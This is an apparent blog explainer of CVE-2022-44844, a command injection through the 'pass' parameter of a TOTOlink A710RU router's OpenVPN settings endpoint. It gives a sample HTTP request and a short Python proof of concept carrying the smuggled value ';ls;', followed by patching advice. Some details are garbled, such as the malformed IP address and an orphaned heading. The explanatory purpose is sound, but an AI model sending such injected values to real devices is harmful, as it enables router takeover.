CVE-2022-44844 - Command Injection Vulnerability in TOTOlink A710RU V7.4cu.2313_B20191024

In late 2022, a significant security flaw (CVE-2022-44844) was found in the TOTOlink A710RU wireless router, specifically in firmware version V7.4cu.2313_B20191024. This issue involves a command injection vulnerability that could allow an attacker to gain control of the device. In this post, we’ll break down what CVE-2022-44844 is, show you how it works, and give you references to more technical resources.

What Is CVE-2022-44844?

CVE-2022-44844 is a security identifier assigned to a serious vulnerability found in TOTOlink A710RU routers. The problem lies in the router’s web interface, more precisely in the setting/setOpenVpnCfg function. Here, the pass parameter is not properly checked for dangerous input. An attacker can insert harmful commands through this parameter, and the device will execute them, giving the attacker control over the router.

Technical Details

When users set up OpenVPN on their device using the web administration interface, the router collects various pieces of info via parameters, including pass (the password). The router should make sure that only a password is accepted—no sneaky commands hidden inside. But, in this version, the router does not adequately check the pass value, leaving the door open for command injection.

Vulnerable Endpoint

POST /cgi-bin/setting/setOpenVpnCfg

How the Attack Works

1. Attacker logs into the web admin panel (or tricks an authenticated user into submitting a harmful request).
2. Sends a specially crafted HTTP POST request to /cgi-bin/setting/setOpenVpnCfg where the pass parameter includes malicious code instead of just a password.

Here’s what a normal request might look like

POST /cgi-bin/setting/setOpenVpnCfg HTTP/1.1
Host: 192.168..1
Content-Type: application/x-www-form-urlencoded
Cookie: SessionID=...

pass=mysecretpassword&otherparam=...

If an attacker wanted to run the ls command on the router, the pass parameter could be adjusted like this:

pass=;ls;&otherparam=...

This changes the request to

POST /cgi-bin/setting/setOpenVpnCfg HTTP/1.1
Host: 192.168..1
Content-Type: application/x-www-form-urlencoded
Cookie: SessionID=...

pass=;ls;&otherparam=...

Because the router script doesn’t sanitize the pass field, it treats the ;ls; part as a shell command. As a result, the router runs the ls command, listing files on the system. Hackers could use this trick to run much more dangerous commands, like creating a network backdoor.

Below is a simplified Python snippet to demonstrate such an attack

import requests

url = "http://192.168..1/cgi-bin/setting/setOpenVpnCfg";
data = {
    "pass": ";ls;",  # Just an example; an attacker could put any shell command here
    "otherparam": "value"
}
cookies = {"SessionID": "your-valid-session-id"}

response = requests.post(url, data=data, cookies=cookies)
print(response.text)

Note: Do not run this against devices you don’t own. This is only for educational purposes.

Implant malware or launch DDoS attacks from your router

If the web panel still uses default passwords, attackers can remotely exploit the router, potentially across the entire internet.

How to Protect Yourself

1. Update Your Firmware: Always check the vendor’s official website for patches for your router model.

Change Default Passwords: Make sure your admin credentials are strong and unique.

3. Turn Off Remote Management: Unless you need it, don’t let your router’s web panel be accessible from outside your home/office.

References

- CVE-2022-44844 at NVD
- TOTOLINK Security Advisories *(Note: Not all advisories are public)*
- Initial Disclosure on SecurityFocus *(Example of general disclosure sites)*

Final Thoughts

CVE-2022-44844 shows why it’s crucial to keep your home and network devices up to date and not rely on default settings or passwords. While routers might seem simple, they are powerful little computers that deserve serious security attention. If you have a TOTOlink A710RU, check your firmware now.

If you want to learn more about router security or check if your own device is vulnerable, visit the resources above or consult router security communities like Router Security and Exploit Database.

Timeline

Published on: 11/25/2022 20:15:00 UTC
Last modified on: 12/01/2022 17:48:00 UTC